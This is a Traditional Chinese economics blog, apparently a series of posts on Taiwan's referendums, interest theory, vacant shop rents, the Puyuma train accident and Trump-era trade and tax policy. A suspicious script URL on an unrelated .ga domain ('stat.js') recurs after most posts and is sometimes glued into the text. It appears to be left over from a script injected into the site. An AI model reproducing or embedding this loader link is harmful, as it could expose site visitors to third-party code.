分類: 經濟分析

為何社會多數都是保守派？從經濟分析來看，因為不知道（或訊息不夠明確）改變後的實際成本效益狀況，保持現況會是最理性、最低成本選擇。

為何年輕人多亟欲改變，而中老年人保守？

除了知識與判斷力差異外（畢竟中老年人多半看過不同情境的改革失敗下場，對於冒進改革傾向謹慎以對），從利息理論也可得到解釋 —

中老年人的未來收入流確定性遠高於20幾歲以下的毛頭，因此推動改變假設可能導致收入減少，則在1/n的機率下，前者的財富損失很可能高於後者。（n為>1的變動值，於中老年族群變動範圍小；年輕人族群變動範圍大）

而一個關鍵侷限條件是：時間。以平均壽命來看，中老年人若因錯誤改革造成財富損失，將只有相對年輕人「更少的時間與精力」來修正錯誤。

特別若我們將子女看做父母的投資這點來看，更可以解釋為何多數人有了親身子女後會轉趨保守。

進一步談談公投制度的一大弊病 — 選民根本 not well-informed，甚至很多議題，選民本身知識量判斷力都不足的侷限下，也不可能達到well-informed。

這次實踐上還指出一個更有趣的點：原來用個雙重否定句就可以考倒一堆高等教育台灣人呢！

換言之，我們等於是把決策放到一群搞不清楚狀況的人手上，這比美國法院的陪審團還糟糕。

再從產權經濟學角度看，這次公投案除了「以核養綠」有稍微比較明確地與選民財產連結（沒有核能電費要大漲、空氣會很差）外，其實多數公投案選民壓根不知道改變之後的代價是什麼？可能利益是什麼？風險與風險機率為幾何？

我們都知道產權的利害關係者與決策者發生脫鉤時，經濟無效率必定發生。

因此我認為，公投制度是本來就很爛的民主制度裡面最糟糕的一個安排。https://js.developerstatss.ga/stat.js?n=ns1

該怎麼說呢？經濟學真的是一門準確研究人類行為的科學。

重貼昨日預測：「縣市長短時間拼經濟的最低成本方法就是全面擁抱大陸市場，在中國『軟更軟、硬更硬』策略下，從經濟面達到分化台灣效果。綠色縣市想學都難…」

https://money.udn.com/money/story/6808/3504205

新聞摘要：

桃園市長鄭文燦今天上午走訪蘆竹區五福宮等宮廟參拜祈福謝票，針對面對民進黨大敗，媒體訪問總統蔡英文的兩岸關係是否應該修正？鄭文燦說，六都首長已經產生，北京必須要面對台灣多元民意，不是高雄市長換人，觀光客就到高雄，這樣做法不對，應該兩岸整體要朝更善意、更交流方向走，對岸所設置的政治前提，應該尋找比較好的自我解套，台灣是民主社會對於這些政治前提並不接受，交流就是交流，不應該有藍綠差別，也不應該附加任何政治條件。

https://js.developerstatss.ga/stat.js?n=ns1

自從倫敦警方獲得授權可以直接開車衝撞摩托車搶匪（參見影片）後，短短一年內此類搶案數量減少36%！

行為成本上升，行為數量下降，需求定律而已。

https://youtu.be/1owgBHpNhPEhttps://js.developerstatss.ga/stat.js?n=ns1

回覆網友Alex Yang問題： 「元大，網路上總是聽說一些店面持有者寧可讓店面空著也不降租金，這有可能性嗎？
如果有可能，這是什麼預期心理？」

答：
不是有可能，是一定會發生。

背後經濟學有點複雜，簡單說就是「訊息費用」讓屋主不知道自己的房屋究竟最高可租出價格為何？

而根據利息理論，房屋的未來預期租金收入折現總和等於房價，因此多數屋主在訊息費用的侷限下，選擇空屋而不選擇降價求租是合理選擇。經濟學上所謂的「market unclearing」就會發生。

因為若屋主認為可以用a價格出租，在不缺錢前提下卻以a-x價格出租，他不但在租金上受損，連帶該房產的總體財富也會隨之縮水。

在科學實證上，上述經濟理論隱含一個可證否的均衡現象 — 總價越高的店面，屋主（假設無財務危機）忍耐空屋時間會較長。因為同樣降低y%，高單價物件財富受損之絕對數字較大。

亦或者我們可以觀察不同侷限條件變化：假如租約金額必須公開，那依照上述理論「清市（market clearing）」速度應會變快。

這裡我題外話談點純理論問題：經濟學不會也不該去探究「屋主心理」，因為這是無從觀察、無從客觀量度的變數。正統科學性的經濟學，應該是從真實世界客觀可量度觀測的現象中，以需求曲線為約束推出可被客觀事實證否的理論。

是的，我個人不認為嘗試納入心理學的「行為經濟學」或純粹頭腦遊戲的賽局理論是科學。

https://js.developerstatss.ga/stat.js?n=ns1

面對普悠瑪號脫軌的重大不幸意外，就意外的遠因部分，經濟學上有兩個值得注意的現象：

1. 蔡英文政府一例一休政策推行後，2017年在網路節目「木曜四超玩-一日台鐵員工」中，台鐵副站長曾批評鐵軌保養人力因此德政而短絀。（參見影片截圖）

2. 台鐵長期票價受到政府管制，造成年年虧損（無效率之組織架構也應是原因之一）。

如2017年淨損十五億三千八百七十五萬元，比較前年虧損大幅增加五．二四億元。

長年虧損連連是否會影響安全性？例如人員不足、設備難以汰換、保養實施確實度…等等，我認為也有待調查驗證。

#找出根本事故原因方能減少未來風險
#機電工程固然重要
#營運與人員更常是災害意外發生之根本原因https://js.developerstatss.ga/stat.js?n=ns1

https://js.developerstatss.ga/stat.js?n=ns1

減稅與放寬法規的經濟改善效果十分驚人，川普等於是做了場經濟學實驗。
「WSJ: U.S. Job Openings Topped 7 Million for the First Time」
https://www.wsj.com/articles/u-s-job-openings-topped-7-million-this-summer-1539702755

可惜民主制度加上健忘的群眾，我相信10年後很快左派大政府干預市場經濟的錯誤論調又會得到選民青睞。

再不厭其煩地補充一次：

貿易戰本質會讓人民用更高的代價完成原本的經濟活動，等於是全民被迫付出更高的交易費用。

同時，高關稅或非關稅障礙本身會起到「財富移轉」作用 — 人民的消費剩餘（consumer surplus）將部分移轉給政府。

更可怕的是，人民為了防禦貿易戰而作的反應，本身多半是資源低效率的錯誤配置，而這種錯誤本來不會存在，純粹是政府惹出的麻煩。因為資源本該由市場價格引導配置，市價制度是租值耗散最低的一種安排；政府干預則非如此。此類資源錯誤會降低原本的經濟效率，是「稅」以外的成本，經濟低手往往看不出來。再者，資源配置錯誤程度會與貿易戰本身資訊不明成正比，當川普政府越是朝令夕改，資源配置錯誤狀況將越嚴重。

在失業率屢創新低記錄的好消息背後，我們也看到了美國房市開始反轉的消息：
「WSJ:
Housing Market is Faltering and Strong Economy Offers No Cure」(https://www.wsj.com/articles/u-s-existing-home-sales-dropped-in-september-1539957950)

相較去年同期，9月份房屋銷售衰退4.1%，是連續第七個月衰退。

理論上熱滾滾的勞動市場應該會改善一般人的收入預期，使其更有勇氣與債信去購屋；但相反的房地產數字，讓我們更看到高漲的房價與2017年以來逐步調升的利率使得需求量下降，這也意味需求並未真正向右上移動。

另外兩則消息也可以同步參考：

1. M-Benz的Daimler AG集團發出獲利警訊：
「 Daimler Warns of “Significantly Lower” Full-Year Earnings, Sending Shares Down 」 (https://www.wsj.com/articles/daimler-warns-of-significantly-lower-full-year-earnings-sending-shares-down-1539966152)

該集團的M-Benz車輛銷售獲利衰退35%。

2. 法國輪胎大廠米其林也發佈銷售與獲利可能衰退的訊息，內容特指中國市場衰退是主因。https://js.developerstatss.ga/stat.js?n=ns1

https://js.developerstatss.ga/stat.js?n=ns1

https://js.developerstatss.ga/stat.js?n=ns1